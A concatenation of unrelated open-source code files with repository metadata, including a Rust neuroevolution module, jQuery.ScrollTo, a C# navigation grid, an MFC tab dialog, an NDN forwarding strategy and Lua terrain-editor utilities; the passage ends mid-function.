let (ws, bs) = net.get_weights();
self.network = Some(net);
self.genes = ws.into_iter()
.fold(Vec::new(), |mut res, w| {
res.extend(w.iter().cloned());
res
});
self.genes.extend(bs.into_iter()
.fold(Vec::new(), |mut res, b| {
res.extend(b.iter().cloned());
res
}));
}
}
//================================================================================
/// Structure for neuroevolutionary algorithm.
///
/// # Example: Run neuroevolutionary algorithm to solve XOR problem.
/// ```
/// extern crate revonet;
///
/// use revonet::ea::*;
/// use revonet::ne::*;
/// use revonet::neproblem::*;
/// use revonet::settings::*;
///
/// fn main() {
/// let (pop_size, gen_count, param_count) = (20, 50, 100); // gene_count does not matter here as NN structure is defined by a problem.
/// let settings = EASettings::new(pop_size, gen_count, param_count);
/// let problem = XorProblem::new();
///
/// let mut ne: NE<XorProblem> = NE::new(&problem);
/// let res = ne.run(settings).expect("Error: NE result is empty");
/// println!("result: {:?}", res);
/// println!("\nbest individual: {:?}", res.best);
/// }
/// ```
pub struct NE<'a, P: Problem + 'a> {
/// Context structure containing information about GA run, its progress and results.
ctx: Option<EAContext<NEIndividual>>,
/// Reference to the objective function object implementing `Problem` trait.
problem: &'a P,
}
#[allow(dead_code)]
impl<'a, P: Problem> NE<'a, P> {
/// Create a new neuroevolutionary algorithm for the given problem.
pub fn new(problem: &'a P) -> NE<'a, P> {
NE {problem: problem,
ctx: None,
}
}
}
impl<'a, P: Problem> EA<'a, P> for NE<'a, P> {
type IndType = NEIndividual;
fn breed(&self, ctx: &mut EAContext<Self::IndType>, sel_inds: &Vec<usize>, children: &mut Vec<Self::IndType>) {
cross(&ctx.population, sel_inds, children, ctx.settings.use_elite, ctx.settings.x_type, ctx.settings.x_prob, ctx.settings.x_alpha, &mut ctx.rng);
mutate(children, ctx.settings.mut_type, ctx.settings.mut_prob, ctx.settings.mut_sigma, &mut ctx.rng);
}
fn run(&mut self, settings: EASettings) -> Result<&EAResult<Self::IndType>, ()> {
println!("run");
let gen_count = settings.gen_count;
let mut ctx = EAContext::new(settings, self.problem);
self.run_with_context(&mut ctx, self.problem, gen_count);
self.ctx = Some(ctx);
Ok(&(&self.ctx.as_ref().expect("Empty EAContext")).result)
}
}
//===================================================================
#[cfg(test)]
#[allow(unused_imports)]
mod test {
use rand;
use math::*;
use ne::*;
use neproblem::*;
#[test]
pub fn test_symbolic_regression() {
let (pop_size, gen_count, param_count) = (20, 20, 100);
let settings = EASettings::new(pop_size, gen_count, param_count);
let problem = SymbolicRegressionProblem::new_f();
let mut ne: NE<SymbolicRegressionProblem> = NE::new(&problem);
let res = ne.run(settings).expect("Error: NE result is empty");
println!("result: {:?}", res);
println!("\nbest individual: {:?}", res.best);
// println!("\nbest individual NN: {:?}", res.best.to_net());
// let ne = NE::new(&problem);
}
#[test]
pub fn test_net_get_set() {
let mut rng = rand::thread_rng();
let mut net = MultilayeredNetwork::new(2, 2);
net.add_hidden_layer(10 as usize, ActivationFunctionType::Sigmoid)
.add_hidden_layer(5 as usize, ActivationFunctionType::Sigmoid)
.build(&mut rng, NeuralArchitecture::Multilayered);
let (ws1, bs1) = net.get_weights();
let mut ind = NEIndividual::new();
ind.set_net(net.clone());
let net2 = ind.to_net_mut().unwrap();
let (ws2, bs2) = net2.get_weights();
// compare ws1 & ws2 and bs1 & bs2. Should be equal.
for k in 0..ws1.len() {
let max_diff = max(&sub(&ws1[k], &ws2[k]));
println!("max diff: {}", max_diff);
assert!(max_diff == 0f32);
let max_diff = max(&sub(&bs1[k], &bs2[k]));
println!("bs1: {:?}", bs1[k]);
println!("bs2: {:?}", bs2[k]);
println!("max diff: {}", max_diff);
assert!(max_diff == 0f32);
}
}
}
| gpl-3.0 |
coco35700/uPMT | src/main/java/components/interviewSelector/modelCommands/DeleteInterviewCommand.java | 1173 | package components.interviewSelector.modelCommands;
import application.history.ModelUserActionCommand;
import models.Project;
import models.Interview;
public class DeleteInterviewCommand extends ModelUserActionCommand<Void, Void> {
private Project project;
private Interview interview;
private Interview previousInterview;
public DeleteInterviewCommand(Project p, Interview i) {
this.project = p;
this.previousInterview = project.getSelectedInterview();
this.interview = i;
}
@Override
public Void execute() {
project.removeInterview(interview);
if(previousInterview == interview)
new SelectCurrentInterviewCommand(
project,
project.interviewsProperty().size() > 0
? project.interviewsProperty().get(0)
: null
).execute();
return null;
}
@Override
public Void undo() {
project.addInterview(interview);
if(previousInterview == interview)
new SelectCurrentInterviewCommand(project, interview).execute();
return null;
}
} | gpl-3.0 |
CoPhi/CophiWapp | Cophi_Wapp/WebContent/resources/js/jquery.scrollTo.js | 7775 | /*!
* jQuery.ScrollTo
* Copyright (c) 2007-2013 Ariel Flesler - aflesler<a>gmail<d>com | http://flesler.blogspot.com
* Dual licensed under MIT and GPL.
*
* @projectDescription Easy element scrolling using jQuery.
* http://flesler.blogspot.com/2007/10/jqueryscrollto.html
* @author Ariel Flesler
* @version 1.4.6
*
* @id jQuery.scrollTo
* @id jQuery.fn.scrollTo
* @param {String, Number, DOMElement, jQuery, Object} target Where to scroll the matched elements.
* The different options for target are:
* - A number position (will be applied to all axes).
* - A string position ('44', '100px', '+=90', etc ) will be applied to all axes
* - A jQuery/DOM element ( logically, child of the element to scroll )
* - A string selector, that will be relative to the element to scroll ( 'li:eq(2)', etc )
* - A hash { top:x, left:y }, x and y can be any kind of number/string like above.
* - A percentage of the container's dimension/s, for example: 50% to go to the middle.
* - The string 'max' for go-to-end.
* @param {Number, Function} duration The OVERALL length of the animation, this argument can be the settings object instead.
* @param {Object,Function} settings Optional set of settings or the onAfter callback.
* @option {String} axis Which axis must be scrolled, use 'x', 'y', 'xy' or 'yx'.
* @option {Number, Function} duration The OVERALL length of the animation.
* @option {String} easing The easing method for the animation.
* @option {Boolean} margin If true, the margin of the target element will be deducted from the final position.
* @option {Object, Number} offset Add/deduct from the end position. One number for both axes or { top:x, left:y }.
* @option {Object, Number} over Add/deduct the height/width multiplied by 'over', can be { top:x, left:y } when using both axes.
* @option {Boolean} queue If true, and both axis are given, the 2nd axis will only be animated after the first one ends.
* @option {Function} onAfter Function to be called after the scrolling ends.
* @option {Function} onAfterFirst If queuing is activated, this function will be called after the first scrolling ends.
* @return {jQuery} Returns the same jQuery object, for chaining.
*
* @desc Scroll to a fixed position
* @example $('div').scrollTo( 340 );
*
* @desc Scroll relatively to the actual position
* @example $('div').scrollTo( '+=340px', { axis:'y' } );
*
* @desc Scroll using a selector (relative to the scrolled element)
* @example $('div').scrollTo( 'p.paragraph:eq(2)', 500, { easing:'swing', queue:true, axis:'xy' } );
*
* @desc Scroll to a DOM element (same for jQuery object)
* @example var second_child = document.getElementById('container').firstChild.nextSibling;
* $('#container').scrollTo( second_child, { duration:500, axis:'x', onAfter:function(){
* alert('scrolled!!');
* }});
*
* @desc Scroll on both axes, to different values
* @example $('div').scrollTo( { top: 300, left:'+=200' }, { axis:'xy', offset:-20 } );
*/
;(function( $ ){
var $scrollTo = $.scrollTo = function( target, duration, settings ){
$(window).scrollTo( target, duration, settings );
};
$scrollTo.defaults = {
axis:'xy',
duration: parseFloat($.fn.jquery) >= 1.3 ? 0 : 1,
limit:true
};
// Returns the element that needs to be animated to scroll the window.
// Kept for backwards compatibility (specially for localScroll & serialScroll)
$scrollTo.window = function( scope ){
return $(window)._scrollable();
};
// Hack, hack, hack :)
// Returns the real elements to scroll (supports window/iframes, documents and regular nodes)
$.fn._scrollable = function(){
return this.map(function(){
var elem = this,
isWin = !elem.nodeName || $.inArray( elem.nodeName.toLowerCase(), ['iframe','#document','html','body'] ) != -1;
if( !isWin )
return elem;
var doc = (elem.contentWindow || elem).document || elem.ownerDocument || elem;
return /webkit/i.test(navigator.userAgent.toLowerCase()) || doc.compatMode == 'BackCompat' ?
doc.body :
doc.documentElement;
});
};
$.fn.scrollTo = function( target, duration, settings ){
if( typeof duration == 'object' ){
settings = duration;
duration = 0;
}
if( typeof settings == 'function' )
settings = { onAfter:settings };
if( target == 'max' )
target = 9e9;
settings = $.extend( {}, $scrollTo.defaults, settings );
// Speed is still recognized for backwards compatibility
duration = duration || settings.duration;
// Make sure the settings are given right
settings.queue = settings.queue && settings.axis.length > 1;
if( settings.queue )
// Let's keep the overall duration
duration /= 2;
settings.offset = both( settings.offset );
settings.over = both( settings.over );
return this._scrollable().each(function(){
// Null target yields nothing, just like jQuery does
if (target == null) return;
var elem = this,
$elem = $(elem),
targ = target, toff, attr = {},
win = $elem.is('html,body');
switch( typeof targ ){
// A number will pass the regex
case 'number':
case 'string':
if( /^([+-]=?)?\d+(\.\d+)?(px|%)?$/.test(targ) ){
targ = both( targ );
// We are done
break;
}
// Relative selector, no break!
targ = $(targ,this);
if (!targ.length) return;
case 'object':
// DOMElement / jQuery
if( targ.is || targ.style )
// Get the real position of the target
toff = (targ = $(targ)).offset();
}
$.each( settings.axis.split(''), function( i, axis ){
var Pos = axis == 'x' ? 'Left' : 'Top',
pos = Pos.toLowerCase(),
key = 'scroll' + Pos,
old = elem[key],
max = $scrollTo.max(elem, axis);
if( toff ){// jQuery / DOMElement
attr[key] = toff[pos] + ( win ? 0 : old - $elem.offset()[pos] );
// If it's a dom element, reduce the margin
if( settings.margin ){
attr[key] -= parseInt(targ.css('margin'+Pos)) || 0;
attr[key] -= parseInt(targ.css('border'+Pos+'Width')) || 0;
}
attr[key] += settings.offset[pos] || 0;
if( settings.over[pos] )
// Scroll to a fraction of its width/height
attr[key] += targ[axis=='x'?'width':'height']() * settings.over[pos];
}else{
var val = targ[pos];
// Handle percentage values
attr[key] = val.slice && val.slice(-1) == '%' ?
parseFloat(val) / 100 * max
: val;
}
// Number or 'number'
if( settings.limit && /^\d+$/.test(attr[key]) )
// Check the limits
attr[key] = attr[key] <= 0 ? 0 : Math.min( attr[key], max );
// Queueing axes
if( !i && settings.queue ){
// Don't waste time animating, if there's no need.
if( old != attr[key] )
// Intermediate animation
animate( settings.onAfterFirst );
// Don't animate this axis again in the next iteration.
delete attr[key];
}
});
animate( settings.onAfter );
function animate( callback ){
$elem.animate( attr, duration, settings.easing, callback && function(){
callback.call(this, targ, settings);
});
};
}).end();
};
// Max scrolling position, works on quirks mode
// It only fails (not too badly) on IE, quirks mode.
$scrollTo.max = function( elem, axis ){
var Dim = axis == 'x' ? 'Width' : 'Height',
scroll = 'scroll'+Dim;
if( !$(elem).is('html,body') )
return elem[scroll] - $(elem)[Dim.toLowerCase()]();
var size = 'client' + Dim,
html = elem.ownerDocument.documentElement,
body = elem.ownerDocument.body;
return Math.max( html[scroll], body[scroll] )
- Math.min( html[size] , body[size] );
};
function both( val ){
return typeof val == 'object' ? val : { top:val, left:val };
};
})( jQuery ); | gpl-3.0 |
mhgamework/the-wizards-engine | Gameplay/Simulation/Navigation2D/NavigableGrid2D.cs | 2677 | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using SlimDX;
namespace MHGameWork.TheWizards.Navigation2D
{
public class NavigableGrid2D
{
private short[,] free;
private HashSet<Object> objects = new HashSet<object>();
public NavigableGrid2D()
{
}
public float NodeSize { get; private set; }
public int Width { get; private set; }
public int Height { get; private set; }
public void Create(float nodeSize, int width, int height)
{
this.Height = height;
this.Width = width;
this.NodeSize = nodeSize;
free = new short[width, height];
}
public void AddObject(object obj, BoundingBox bb)
{
if (objects.Contains(obj)) throw new InvalidOperationException();
objects.Add(obj);
foreachInBB(bb, (x, z) =>
{
if (!InGrid(x, z)) return;
free[x, z]++;
});
}
private void foreachInBB(BoundingBox bb, Action<int, int> action)
{
// Normalize bb
bb.Minimum = bb.Minimum / NodeSize;
bb.Maximum = bb.Maximum / NodeSize;
var min = new int[3];
var max = new int[3];
for (int i = 0; i < 3; i++)
{
min[i] = (int)Math.Floor(bb.Minimum[i] + 0.001f);
max[i] = (int)Math.Ceiling(bb.Maximum[i] - 0.001f);
}
for (int x = min[0]; x < max[0]; x++)
for (int z = min[2]; z < max[2]; z++)
{
action(x, z);
}
}
public void MoveObject(object obj, BoundingBox bb)
{
RemoveObject(obj, bb);
AddObject(obj, bb);
}
public void RemoveObject(object obj, BoundingBox bb)
{
if (!objects.Contains(obj)) throw new InvalidOperationException();
objects.Remove(obj);
foreachInBB(bb, (x, z) =>
{
if (!InGrid(x, z)) return;
free[x, z]--;
});
}
public bool IsFree(int x, int y)
{
return free[x, y] == 0;
}
public bool InGrid(int x, int y)
{
if (x < 0) return false;
if (y < 0) return false;
if (x >= Width) return false;
if (y >= Width) return false;
return true;
}
}
}
| gpl-3.0 |
thundernet8/Elune-WWW | src/shared/element-react/dist/npm/es6/src/date-picker/DateRangePicker.js | 1814 | import _extends from 'babel-runtime/helpers/extends';
import _classCallCheck from 'babel-runtime/helpers/classCallCheck';
import _possibleConstructorReturn from 'babel-runtime/helpers/possibleConstructorReturn';
import _createClass from 'babel-runtime/helpers/createClass';
import _inherits from 'babel-runtime/helpers/inherits';
import React from 'react';
import { pick } from '../../libs/utils';
import { PropTypes } from '../../libs';
import BasePicker from './BasePicker';
import DateRangePanel from './panel/DateRangePanel';
var DateRangePicker = function (_BasePicker) {
_inherits(DateRangePicker, _BasePicker);
_createClass(DateRangePicker, null, [{
key: 'propTypes',
get: function get() {
return Object.assign({}, { rangeSeparator: PropTypes.string }, BasePicker.propTypes,
// default value is been defined in ./constants file
pick(DateRangePanel.propTypes, ['value', 'showTime', 'shortcuts', 'firstDayOfWeek']));
}
}, {
key: 'defaultProps',
get: function get() {
var result = Object.assign({}, BasePicker.defaultProps);
return result;
}
}]);
function DateRangePicker(props) {
_classCallCheck(this, DateRangePicker);
return _possibleConstructorReturn(this, _BasePicker.call(this, props, 'daterange', {}));
}
DateRangePicker.prototype.getFormatSeparator = function getFormatSeparator() {
return this.props.rangeSeparator;
};
DateRangePicker.prototype.pickerPanel = function pickerPanel(state, props) {
var value = state.value;
if (value instanceof Date) {
value = [value, null];
}
return React.createElement(DateRangePanel, _extends({}, props, {
value: value,
onPick: this.onPicked.bind(this)
}));
};
return DateRangePicker;
}(BasePicker);
export default DateRangePicker; | gpl-3.0 |
ajh/safit | lib/safit/settings.rb | 1321 | # LICENSE:{{{
# safit - a command line notification utility
# Copyright (C) 2013 Andrew Hartford
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#}}}
require 'configliere'
require 'erb'
require 'pathname'
require 'yaml'
module Safit
# This is kinda a bummer that configliere defines a 'Settings' method when this
# is loaded.
# defaults
Settings \
:gntp => {
:host => nil,
:passwd => nil,
}
# try to load ~/.safitrc
rc_path = Pathname.new(ENV["HOME"]).join('.safitrc')
if rc_path.file?
erb = ERB.new rc_path.read
empty_binding = BasicObject.instance_eval { binding }
yaml = erb.result empty_binding
settings = YAML.load yaml
Settings settings
end
end
# vim: fdm=marker
| gpl-3.0 |
zhangbo7364/term-mng | SystemSet.cpp | 6742 | // SystemSet.cpp : ʵÏÖÎļþ
//
#include "stdafx.h"
#include "zaozhuang.h"
#include "SystemSet.h"
#include "afxdialogex.h"
// CSystemSet ¶Ô»°¿ò
IMPLEMENT_DYNAMIC(CSystemSet, CDialog)
CSystemSet::CSystemSet(CWnd* pParent /*=NULL*/)
: CDialog(CSystemSet::IDD, pParent)
{
}
CSystemSet::~CSystemSet()
{
}
void CSystemSet::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_TAB1, m_tab);
}
BEGIN_MESSAGE_MAP(CSystemSet, CDialog)
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB1, &CSystemSet::OnSelchangeTab1)
END_MESSAGE_MAP()
// CSystemSet ÏûÏ¢´¦Àí³ÌÐò
BOOL CSystemSet::OnInitDialog()
{
CDialog::OnInitDialog();
m_tab.InsertItem(0,"ÐÅÏ¢");
m_tab.InsertItem(1,"°æ±¾");
m_tab.InsertItem(2,"ÏÔʾ");
m_tab.InsertItem(3,"ÍøÂç");
m_tab.InsertItem(4,"Êó±ê");
m_tab.InsertItem(5,"°²È«");
m_tab.InsertItem(6,"´òÓ¡»ú");
m_tab.InsertItem(7,"OEMÈí¼þ");
m_tab.InsertItem(8,"PPPÉèÖÃ");
m_tab.InsertItem(9,"PING");
m_tab.InsertItem(10,"ÆäËû");
m_tab.InsertItem(11,"¼üÅÌ");
//½¨Á¢ÊôÐÔÒ³¸÷Ò³
page1.Create(IDD_SYSTEM1,GetDlgItem(IDC_TAB1));
page2.Create(IDD_SYSTEM2,GetDlgItem(IDC_TAB1));
page3.Create(IDD_SYSTEM3,GetDlgItem(IDC_TAB1));
page4.Create(IDD_SYSTEM4,GetDlgItem(IDC_TAB1));
page5.Create(IDD_SYSTEM5,GetDlgItem(IDC_TAB1));
page6.Create(IDD_SYSTEM6,GetDlgItem(IDC_TAB1));
page7.Create(IDD_SYSTEM7,GetDlgItem(IDC_TAB1));
page8.Create(IDD_SYSTEM8,GetDlgItem(IDC_TAB1));
page9.Create(IDD_SYSTEM9,GetDlgItem(IDC_TAB1));
page10.Create(IDD_SYSTEM10,GetDlgItem(IDC_TAB1));
page11.Create(IDD_SYSTEM11,GetDlgItem(IDC_TAB1));
page12.Create(IDD_SYSTEM12,GetDlgItem(IDC_TAB1));
//ÉèÖÃÒ³ÃæµÄλÖÃÔÚm_tab¿Ø¼þ·¶Î§ÄÚ
CRect rect;
m_tab.GetClientRect(&rect);
rect.top+=20;
rect.bottom-=4;
rect.left+=4;
rect.right-=4;
page1.MoveWindow(&rect);
page2.MoveWindow(&rect);
page3.MoveWindow(&rect);
page4.MoveWindow(&rect);
page5.MoveWindow(&rect);
page6.MoveWindow(&rect);
page7.MoveWindow(&rect);
page8.MoveWindow(&rect);
page9.MoveWindow(&rect);
page10.MoveWindow(&rect);
page11.MoveWindow(&rect);
page12.MoveWindow(&rect);
page1.ShowWindow(TRUE);
m_tab.SetCurSel(0);
return TRUE; // return TRUE unless you set the focus to a control
// Òì³£: OCX ÊôÐÔÒ³Ó¦·µ»Ø FALSE
}
void CSystemSet::OnSelchangeTab1(NMHDR *pNMHDR, LRESULT *pResult)
{
int CurSel;
CurSel=m_tab.GetCurSel();
switch(CurSel)
{
case 0:
page1.ShowWindow(TRUE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 1:
page1.ShowWindow(FALSE);
page2.ShowWindow(TRUE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 2:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(TRUE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 3:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(TRUE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 4:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(TRUE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 5:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(TRUE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 6:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(TRUE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 7:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(TRUE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 8:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(TRUE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 9:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(TRUE);
page11.ShowWindow(FALSE);
page12.ShowWindow(FALSE);
break;
case 10:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(TRUE);
page12.ShowWindow(FALSE);
break;
case 11:
page1.ShowWindow(FALSE);
page2.ShowWindow(FALSE);
page3.ShowWindow(FALSE);
page4.ShowWindow(FALSE);
page5.ShowWindow(FALSE);
page6.ShowWindow(FALSE);
page7.ShowWindow(FALSE);
page8.ShowWindow(FALSE);
page9.ShowWindow(FALSE);
page10.ShowWindow(FALSE);
page11.ShowWindow(FALSE);
page12.ShowWindow(TRUE);
break;
default: ;
}
*pResult = 0;
}
| gpl-3.0 |
COPELABS-SITI/ndn-fwd | daemon/fw/best-route-strategy.cpp | 3088 | /* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */
/**
* Copyright (c) 2014-2016, Regents of the University of California,
* Arizona Board of Regents,
* Colorado State University,
* University Pierre & Marie Curie, Sorbonne University,
* Washington University in St. Louis,
* Beijing Institute of Technology,
* The University of Memphis.
*
* This file is part of NFD (Named Data Networking Forwarding Daemon).
* See AUTHORS.md for complete list of NFD authors and contributors.
*
* NFD is free software: you can redistribute it and/or modify it under the terms
* of the GNU General Public License as published by the Free Software Foundation,
* either version 3 of the License, or (at your option) any later version.
*
* NFD is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
* PURPOSE. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* NFD, e.g., in COPYING.md file. If not, see <http://www.gnu.org/licenses/>.
*/
#include "best-route-strategy.hpp"
#include "algorithm.hpp"
namespace nfd {
namespace fw {
BestRouteStrategyBase::BestRouteStrategyBase(Forwarder& forwarder)
: Strategy(forwarder)
{
}
void
BestRouteStrategyBase::afterReceiveInterest(const Face& inFace, const Interest& interest,
const shared_ptr<pit::Entry>& pitEntry)
{
if (hasPendingOutRecords(*pitEntry)) {
// not a new Interest, don't forward
return;
}
const fib::Entry& fibEntry = this->lookupFib(*pitEntry);
const fib::NextHopList& nexthops = fibEntry.getNextHops();
for (fib::NextHopList::const_iterator it = nexthops.begin(); it != nexthops.end(); ++it) {
Face& outFace = it->getFace();
if (!wouldViolateScope(inFace, interest, outFace) &&
canForwardToLegacy(*pitEntry, outFace)) {
this->sendInterest(pitEntry, outFace, interest);
return;
}
}
this->rejectPendingInterest(pitEntry);
}
NFD_REGISTER_STRATEGY(BestRouteStrategy);
BestRouteStrategy::BestRouteStrategy(Forwarder& forwarder, const Name& name)
: BestRouteStrategyBase(forwarder)
{
ParsedInstanceName parsed = parseInstanceName(name);
if (!parsed.parameters.empty()) {
BOOST_THROW_EXCEPTION(std::invalid_argument("BestRouteStrategy does not accept parameters"));
}
if (parsed.version && *parsed.version != getStrategyName()[-1].toVersion()) {
BOOST_THROW_EXCEPTION(std::invalid_argument(
"BestRouteStrategy does not support version " + std::to_string(*parsed.version)));
}
this->setInstanceName(makeInstanceName(name, getStrategyName()));
}
const Name&
BestRouteStrategy::getStrategyName()
{
static Name strategyName("/localhost/nfd/strategy/best-route/%FD%01");
return strategyName;
}
} // namespace fw
} // namespace nfd
| gpl-3.0 |
tederis/mta-resources | terrain_editor_public/util_client.lua | 12510 | local _mathFloor = math.floor
local _mathSqrt = math.sqrt
local _mathMin = math.min
local _mathMax = math.max
local _mathClamp = function ( min, value, max )
return _mathMax ( _mathMin ( value, max ), min )
end
local _dist2d = getDistanceBetweenPoints2D
_withinRectangle = function ( px, py, rx, ry, rwidth, rheight )
return ( px >= rx and px <= rx + rwidth ) and ( py >= ry and py <= ry + rheight )
end
function sphereCollisionTest ( lineStart, lineEnd, sphereCenter, sphereRadius )
-- check if line intersects sphere around element
local vec = Vector3(lineEnd.x - lineStart.x, lineEnd.y - lineStart.y, lineEnd.z - lineStart.z)
local A = vec.x^2 + vec.y^2 + vec.z^2
local B = ( (lineStart.x - sphereCenter.x) * vec.x + (lineStart.y - sphereCenter.y) * vec.y + (lineStart.z - sphereCenter.z) * vec.z ) * 2
local C = ( (lineStart.x - sphereCenter.x)^2 + (lineStart.y - sphereCenter.y)^2 + (lineStart.z - sphereCenter.z)^2 ) - sphereRadius^2
local delta = B^2 - 4*A*C
if (delta >= 0) then
delta = math.sqrt(delta)
local t = (-B - delta) / (2*A)
if (t > 0) then
return Vector3(lineStart.x + vec.x * t, lineStart.y + vec.y * t, lineStart.z + vec.z * t)
end
end
end
function getWorldCursorPosition ( )
if isCursorShowing ( ) then
local screenx, screeny, worldx, worldy, worldz = getCursorPosition ( )
local px, py, pz = getCameraMatrix ( )
local hit, x, y, z, elementHit = processLineOfSight ( px, py, pz, worldx, worldy, worldz, false, false, false, true )
if hit then
return x, y, z, elementHit
end
end
end
local boxSides = {
{ -1, 0 },
{ 1, 0 },
{ 0, -1 },
{ 0, 1 }
}
local _drawSide = dxDrawMaterialLine3D
local _whiteColor = tocolor ( 255, 255, 255 )
function drawBox ( x, y, z, width, depth, height, texture )
local halfWidth, halfDepth, halfHeight = width/2, depth/2, height/2
x, y, z = x + halfWidth, y + halfDepth, z + halfHeight
for i, side in ipairs ( boxSides ) do
_drawSide (
x + halfWidth*side [ 1 ], y + halfDepth*side [ 2 ], z - halfHeight,
x + halfWidth*side [ 1 ], y + halfDepth*side [ 2 ], z + halfHeight,
texture, i > 2 and width or depth, _whiteColor, x, y, z
)
end
end
--[[
Radio image
]]
addEvent ( "onClientGUIImageSwitch", false )
local _radioImgRefs = 0
local _radioImgSplit = { }
local _onRadioImageClick = function ( button )
if button ~= "left" then
return
end
local splitName = getElementData ( source, "split" )
-- Сбрасываем выделение предыдущей кнопки
local prevSplitBtn = _radioImgSplit [ splitName ]
if isElement ( prevSplitBtn ) then
local prevPath = getElementData ( prevSplitBtn, "path" )
guiStaticImageLoadImage ( prevSplitBtn, prevPath .. "_n.png" )
end
-- Выделяем нашу новую кнопку
local path = getElementData ( source, "path" )
guiStaticImageLoadImage ( source, path .. "_d.png" )
_radioImgSplit [ splitName ] = source
triggerEvent ( "onClientGUIImageSwitch", source, splitName, prevSplitBtn )
end
local _onRadioImageEnter = function ( )
if _radioImgSplit [ getElementData ( source, "split" ) ] ~= source then
local path = getElementData ( source, "path" )
guiStaticImageLoadImage ( source, path .. "_h.png" )
end
end
local _onRadioImageLeave = function ( )
if _radioImgSplit [ getElementData ( source, "split" ) ] ~= source then
local path = getElementData ( source, "path" )
guiStaticImageLoadImage ( source, path .. "_n.png" )
end
end
function guiCreateRadioImage ( x, y, width, height, path, relative, parent )
-- Делаем несколько проверок на наличие необходимых файлов
if fileExists ( path .. "_d.png" ) ~= true or fileExists ( path .. "_h.png" ) ~= true or fileExists ( path .. "_n.png" ) ~= true then
outputDebugString ( "Не было найдено изображений для " .. tostring ( path ), 2 )
return
end
-- Проверяем наличие группы кнопок
if type ( g_RadioImageSplit ) ~= "string" then
outputDebugString ( "Не было найдено группы кнопок", 2 )
return
end
local radioImg = guiCreateStaticImage ( x, y, width, height, path .. "_d.png", relative, parent )
if radioImg then
setElementData ( radioImg, "path", path )
setElementData ( radioImg, "split", g_RadioImageSplit )
